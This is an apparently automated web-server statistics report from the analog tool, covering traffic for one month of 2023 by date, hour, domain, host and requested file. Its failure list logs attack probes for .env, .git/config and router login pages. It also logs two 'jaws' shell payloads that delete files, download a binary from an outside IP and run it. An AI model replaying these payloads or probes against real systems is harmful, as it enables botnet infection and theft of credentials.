Program started at Wed-31-May-2023 00:03.
Analysed requests from Sun-30-Apr-2023 00:24 to Tue-30-May-2023 23:59 (30.98 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 31-May-2023 00:03.
Successful requests: 1,454 (325)
Average successful requests per day: 46 (46)
Successful requests for pages: 1,432 (322)
Average successful requests for pages per day: 46 (45)
Failed requests: 1,772 (359)
Distinct files requested: 21 (14)
Distinct hosts served: 857 (232)
Corrupt logfile lines: 4
Data transferred: 883.02 kilobytes (194.60 kilobytes)
Average data transferred per day: 28.50 kilobytes (27.80 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 40 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Apr 2023 | 65 | 63 | ![]() |
May 2023 | 1389 | 1369 | ![]() ![]() ![]() |
Busiest month: May 2023 (1,369 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 10 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
30/Apr/23 | 358 | 352 | ![]() ![]() |
7/May/23 | 287 | 285 | ![]() ![]() ![]() ![]() |
14/May/23 | 342 | 333 | ![]() ![]() |
21/May/23 | 307 | 305 | ![]() ![]() ![]() ![]() ![]() |
28/May/23 | 160 | 157 | ![]() |
Busiest week: week beginning 30/Apr/23 (352 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 2 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
30/Apr/23 | 65 | 63 | ![]() |
1/May/23 | 70 | 70 | ![]() ![]() ![]() |
2/May/23 | 47 | 45 | ![]() ![]() ![]() ![]() |
3/May/23 | 53 | 52 | ![]() ![]() ![]() |
4/May/23 | 45 | 45 | ![]() ![]() ![]() ![]() |
5/May/23 | 42 | 41 | ![]() ![]() ![]() |
6/May/23 | 36 | 36 | ![]() ![]() |
7/May/23 | 40 | 40 | ![]() ![]() |
8/May/23 | 31 | 31 | ![]() |
9/May/23 | 67 | 65 | ![]() ![]() |
10/May/23 | 46 | 46 | ![]() ![]() ![]() ![]() |
11/May/23 | 42 | 42 | ![]() ![]() ![]() |
12/May/23 | 30 | 30 | ![]() ![]() ![]() ![]() |
13/May/23 | 31 | 31 | ![]() |
14/May/23 | 50 | 49 | ![]() ![]() ![]() |
15/May/23 | 38 | 36 | ![]() ![]() |
16/May/23 | 50 | 49 | ![]() ![]() ![]() |
17/May/23 | 60 | 58 | ![]() ![]() ![]() ![]() |
18/May/23 | 54 | 53 | ![]() ![]() ![]() ![]() |
19/May/23 | 61 | 60 | ![]() ![]() ![]() ![]() |
20/May/23 | 29 | 28 | ![]() ![]() ![]() |
21/May/23 | 51 | 51 | ![]() ![]() ![]() |
22/May/23 | 41 | 41 | ![]() ![]() ![]() |
23/May/23 | 50 | 48 | ![]() ![]() |
24/May/23 | 40 | 40 | ![]() ![]() |
25/May/23 | 50 | 50 | ![]() ![]() ![]() |
26/May/23 | 41 | 41 | ![]() ![]() ![]() |
27/May/23 | 34 | 34 | ![]() ![]() |
28/May/23 | 44 | 42 | ![]() ![]() ![]() |
29/May/23 | 73 | 73 | ![]() ![]() ![]() |
30/May/23 | 43 | 42 | ![]() ![]() ![]() |
Busiest day: 29/May/23 (73 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 6 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 250 | 245 | ![]() ![]() ![]() |
Mon | 253 | 251 | ![]() ![]() ![]() |
Tue | 257 | 249 | ![]() ![]() ![]() |
Wed | 199 | 196 | ![]() ![]() |
Thu | 191 | 190 | ![]() |
Fri | 174 | 172 | ![]() ![]() ![]() ![]() |
Sat | 130 | 129 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 3 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 55 | 55 | ![]() ![]() ![]() |
1 | 50 | 50 | ![]() ![]() |
2 | 53 | 53 | ![]() ![]() |
3 | 55 | 54 | ![]() ![]() |
4 | 71 | 69 | ![]() ![]() ![]() ![]() |
5 | 45 | 44 | ![]() ![]() ![]() ![]() |
6 | 64 | 60 | ![]() ![]() |
7 | 42 | 42 | ![]() ![]() ![]() |
8 | 62 | 60 | ![]() ![]() |
9 | 54 | 53 | ![]() ![]() |
10 | 56 | 54 | ![]() ![]() |
11 | 67 | 66 | ![]() ![]() ![]() |
12 | 69 | 66 | ![]() ![]() ![]() |
13 | 55 | 53 | ![]() ![]() |
14 | 81 | 81 | ![]() ![]() ![]() ![]() |
15 | 67 | 66 | ![]() ![]() ![]() |
16 | 50 | 50 | ![]() ![]() |
17 | 52 | 51 | ![]() ![]() |
18 | 53 | 53 | ![]() ![]() |
19 | 94 | 94 | ![]() |
20 | 49 | 49 | ![]() ![]() |
21 | 60 | 60 | ![]() ![]() |
22 | 86 | 85 | ![]() ![]() ![]() ![]() |
23 | 64 | 64 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
609 | 42.32% | [unresolved numerical addresses] |
486 | 33.26% | .com (Commercial) |
89 | 6.03% | [unknown domain] |
92 | 6.01% | .org (Non Profit Making Organisations) |
59 | 4.22% | .net (Networks) |
20 | 1.28% | .de (Germany) |
15 | 0.94% | .br (Brazil) |
14 | 0.92% | .edu (USA Higher Education) |
12 | 0.79% | .ru (Russia) |
5 | 0.76% | .fr (France) |
10 | 0.66% | .io (British Indian Ocean Territory) |
9 | 0.61% | .cn (China) |
5 | 0.33% | .ir (Iran) |
4 | 0.23% | .cz (Czech Republic) |
3 | 0.20% | .info (Informational) |
3 | 0.20% | .pl (Poland) |
2 | 0.13% | [domain not given] |
2 | 0.13% | .mx (Mexico) |
1 | 0.07% | .ws (Samoa) |
1 | 0.07% | .uy (Uruguay) |
1 | 0.07% | .kh (Cambodia) |
1 | 0.07% | .ar (Argentina) |
1 | 0.07% | .sc (Seychelles) |
1 | 0.07% | .arpa (Arpanet) |
1 | 0.07% | .bo (Bolivia) |
1 | 0.07% | .jp (Japan) |
1 | 0.07% | .ro (Romania) |
1 | 0.07% | .ps (Occupied Palestinian Territory) |
1 | 0.07% | .ec (Ecuador) |
1 | 0.07% | .id (Indonesia) |
1 | 0.07% | .co (Colombia) |
1 | 0.07% | .au (Australia) |
1 | 0.07% | .in (India) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
89 | 6.03% | [unknown domain] |
86 | 5.82% | ahrefs.com |
71 | 4.70% | googleusercontent.com |
66 | 4.47% | amazonaws.com |
57 | 4.03% | msn.com |
54 | 3.53% | censys-scanner.com |
38 | 2.42% | internet-census.org |
31 | 2.38% | googlebot.com |
31 | 1.98% | linodeusercontent.com |
29 | 1.96% | 103 |
25 | 1.63% | shadowserver.org |
25 | 1.67% | 205.210 |
22 | 1.44% | stretchoid.com |
21 | 1.46% | 183.136 |
21 | 1.40% | 198.235 |
19 | 1.27% | 193.35 |
18 | 1.21% | leakix.org |
18 | 1.16% | 104 |
17 | 1.14% | 14 |
16 | 1.05% | 43 |
700 | 49.24% | [not listed: 270 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically./usr/bin/analog: Warning R: In Referrer Report, turning off pie chart with no wedges p>
reqs | %bytes | host |
---|---|---|
5 | 0.34% | 14.116.150.68 |
5 | 0.34% | 14.116.157.23 |
5 | 0.34% | 36.40.72.66 |
6 | 0.39% | 43.248.128.82 |
5 | 0.33% | 47.252.17.62 |
6 | 0.43% | 103.89.88.147 |
12 | 0.77% | 104.156.155.31 |
6 | 0.40% | 113.108.9.38 |
5 | 0.34% | 114.107.225.150 |
5 | 0.34% | 159.65.111.248 |
4 | 0.26% | 167.94.145.57 |
5 | 0.34% | 178.128.152.119 |
13 | 0.91% | 183.136.225.32 |
6 | 0.42% | 183.136.225.44 |
5 | 0.35% | 193.35.18.35 |
12 | 0.78% | 193.35.18.65 |
5 | 0.34% | 193.42.32.124 |
5 | 0.34% | 194.180.48.84 |
8 | 0.52% | 199.45.155.4 |
11 | 1.07% | 216.244.66.197 |
7 | 0.47% | 223.240.99.104 |
7 | 0.47% | 223.247.178.167 |
14 | 0.92% | securehosting.capital |
4 | 0.27% | ec2-18-132-36-246.eu-west-2.compute.amazonaws.com |
5 | 0.33% | scanner-04.ch1.censys-scanner.com |
7 | 0.46% | scanner-05.ch1.censys-scanner.com |
9 | 0.59% | scanner-06.ch1.censys-scanner.com |
6 | 0.39% | scanner-07.ch1.censys-scanner.com |
5 | 0.33% | scanner-08.ch1.censys-scanner.com |
5 | 0.33% | scanner-25.ch1.censys-scanner.com |
10 | 0.65% | scanner-26.ch1.censys-scanner.com |
21 | 1.33% | 139-144-52-241.ip.linodeusercontent.com |
15 | 1.03% | msnbot-157-55-39-217.search.msn.com |
28 | 2.00% | msnbot-40-77-167-208.search.msn.com |
14 | 1.00% | msnbot-52-167-144-162.search.msn.com |
5 | 0.33% | hostedby.privatelayer.com |
4 | 0.26% | static.232.2.13.49.clients.your-server.de |
6 | 0.39% | scanner1.cc.gatech.edu |
8 | 0.52% | research.esrg.stanford.edu |
4 | 0.27% | ip223.ip-198-244-204.eu |
4 | 0.26% | 51-158-37-186.rev.poneytelecom.eu |
5 | 0.76% | pop.92-184-112-95.mobile.abo.orange.fr |
6 | 0.39% | unused-space.coop.net |
4 | 0.26% | srv-141-98-11-41.serveroffer.net |
4 | 0.23% | ip230.208-100-26.static.steadfastdns.net |
5 | 0.33% | zl-dal-us-gp3-wk108.internet-census.org |
4 | 0.26% | zl-lax-us-gp3-wk110.internet-census.org |
6 | 0.40% | internettl.org |
6 | 0.40% | portability.scan.leakix.org |
4 | 0.26% | scan-01.shadowserver.org |
1088 | 74.77% | [not listed: 807 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
36 | [not listed: 10 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
1414 | 93.73% | [root directory] |
36 | 6.11% | /images/ |
3 | 0.10% | /icons/ |
1 | 0.07% | http:// |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
202 | /x16/x03/x01 |
163 | /favicon.ico |
160 | /robots.txt |
114 | /.env |
61 | /boaform/admin/formLogin |
40 | /shell |
13 | /shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws |
11 | /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws |
38 | * |
27 | /upl.php |
27 | /geoip/ |
27 | /client/get_targets |
25 | /geoserver/web/ |
24 | /x16/x03/x01/x01H/x01 |
21 | /HNAP1/ |
20 | /.git/config |
19 | /wp-login.php |
18 | /x03 |
16 | /aaa9 |
16 | /aab8 |
15 | / |
13 | /server-status |
12 | /x16/x03/x01/x01/xfd/x01 |
12 | /x16/x03/x01/x02 |
11 | /_profiler/phpinfo |
10 | /core/.env |
10 | /marketing/marketing_internet.html |
10 | /config.json |
10 | /1.php |
9 | /sitemap.xml |
9 | /sitemap.txt |
9 | /sitemap |
617 | [not listed: 339 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
1414 | 93.73% | 30/May/23 23:59 | / |
40 | 6.27% | 30/May/23 06:11 | [not listed: 5 files] |